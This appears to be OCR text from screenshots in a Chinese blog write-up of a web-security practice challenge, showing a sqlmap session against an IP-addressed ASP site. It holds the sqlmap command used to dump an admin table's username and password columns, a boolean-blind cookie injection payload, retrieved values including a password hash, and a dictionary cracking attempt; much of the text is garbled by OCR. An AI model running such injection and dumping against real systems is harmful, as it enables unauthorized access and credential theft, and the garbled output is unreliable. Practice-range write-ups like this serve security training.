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http://sqlmap.or
Usage: python3 sqlmap [options]

sqlmap: error: ambiguous option: —table (—table-prefix, --tables?)

le}
d. B L2

W e http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
esponsible for any misuse or damage caused by this program

[*] starting @ 14:09:44 /2021-03-27/

4] [INFO] testing connection to the target URL

5] [ERITICAL) previous heuristics detected that the target is protected by some kind of WAF/I
[INFO] testing if the target URL content is stable

:45] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the pa
manual paragraph 'Page comparison’

how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
y:46] [INFO] testing if Cookie parameter 'id' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n]
[14:0 [INFO] Cookie parameter 'id' appears to be dynamic o
[14:¢ [1nF0] heuristic (basic) test shows that Cookie parameter 'id’ might be injectable




P e sqlmap ) IEF#A4E 7, ANERTEWR AT DAGER (— RIEEANSTM 2 1255 — 80
C gl B [Jroot/bbbb.txt - Mousep.. ) root@xuegods3; ~ O root@xuegods3: ~ O root@xuegods3: ~
root@xuegod53: ~

XfHF) EMEA) MEE) WE(V) MWRIH)

Database: Microsoft_Access_masterdb
Table: admin
[7 columns]
e - ——
Column | Type |
S ————| +
non-numeric
non-numeric
non-numeric
numeric
password | non-numeric
title non-numeric
username | non-numeric
A ——  S————

[14:51:13] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/59.63.200.79"

[*] ending @ 14:51:13 /2021-03-27/

't xuege [~]
sqlmap -u http://59.63.200.79:8004/shownews.asp —cookie "id=169" -D Microsoft_Access_masterdb -T admin -C username,password —d

f1.4.118stable}

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey al
esponsible for any misuse or damage caused by this program

[*] starting @ 14:52:29 /2021-03-27/

[ 9] [INFO] resuming back-end DBMS 'microsoft access’
[ 9] [INFO] testing connection to the target URL
[14 9] [ | ] previous heuristics detected that the target is protected by some kind of WAF/IPS

sqlmap resumed the following injection point(s) from stored session:
parameter: id (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
payload: id=169 AND 66416641

[ ):20] [INFO] the back-end DBNS is Microsoft Access

back-end DBMS: Microsoft Access

1129 nnot retrieve column names, back-end DBMS is Microsoft Access ‘ e e |
{ 2: % {?ﬁ?%nﬂtizing entries of column(s) ‘!usor‘,contont,ﬂag,1d,password,;nle,usernam? for table adz:n .x: g:f3';:‘;:;;;;ZS?LEEQ;;?:‘E
[ :29] [INFO) fetching number of column(s) '’user’,content,flag,id,password,title,username entries for table ‘adm %



INFO] retrieved:

[WARNING] in case of continuous data retrieval
[INFO] retrieved: N mwQ\xel1Y*QK]\xe52 g:h\xbog
[INFO] retrieved: admin

[INFO] retrieved: <FONT size=2>

[INFO] retrieved: b9a2a2bSdffb918c

[INFO] retrieved: admin

[WARNING] potential binary fields detected ('title

'). In case of any problems you are advised to rerun table dump
[INFO] recognized possible password hashes in column 'password’

want to store hashes to a temporary file for eventual further

want to crack them via a dictionary-based attack? [¥/n/q]

32] [INFO] using hash method 'mysql_old_passwd’

what dictionary do you want to use?

[1] default dictionary file '/usr/sharc/sqlmp/data/txt/uordlist.tx__' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

>

[14:56:34] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N]

43 5] [INFO] starting dictionary-based cracking (mysql_old_passwd)

[14: ] [InFO] starting &4 processes

[14 :48] [WARNING] no clear password(s) found

Database: Microsoft_Access_masterdb

Table: admin

El en:L . R . /

| id | flag | title | user | content | username 1 password 1
+——-———~—-+—-——————————————————————————————————+————————+-—-—~——T——————+-———T————— —_—

<blank> | N\nmwQ\xelY*QK]\xe5z\x@bg:h\xbog\t | admin | <FONT size=2> | admin |Wl

“ o r—— . S————————— . e—— .

problems you are advised to try a switch '

~-no-cast'

processing with other tools [y/n]

in' ile ' .1oca1/share/sqlmap/oItput/S9.63.209.79/(1
0 'Mi soft_Access_masterdb.admin' dumped to CSV file '/root/ :
Eﬁ?cﬁ ::'t)ﬁ:edM;::: logged to text files under '/root/.local/share/sqlmap/output/59.63.200.79

[*] ending @ 14:56:48 /2021-03-27/

Pl Amd5EIfiR %, = Ffalg



	2021-03-27
	封神台第二章：遇到阻难！绕过WAF过滤！

	前言
	一，复制该网站到火狐浏览器进行探测
	二、使用sqlmap跑一下也是可以的
	简单介绍一下使用kali sqlmap跑的过程


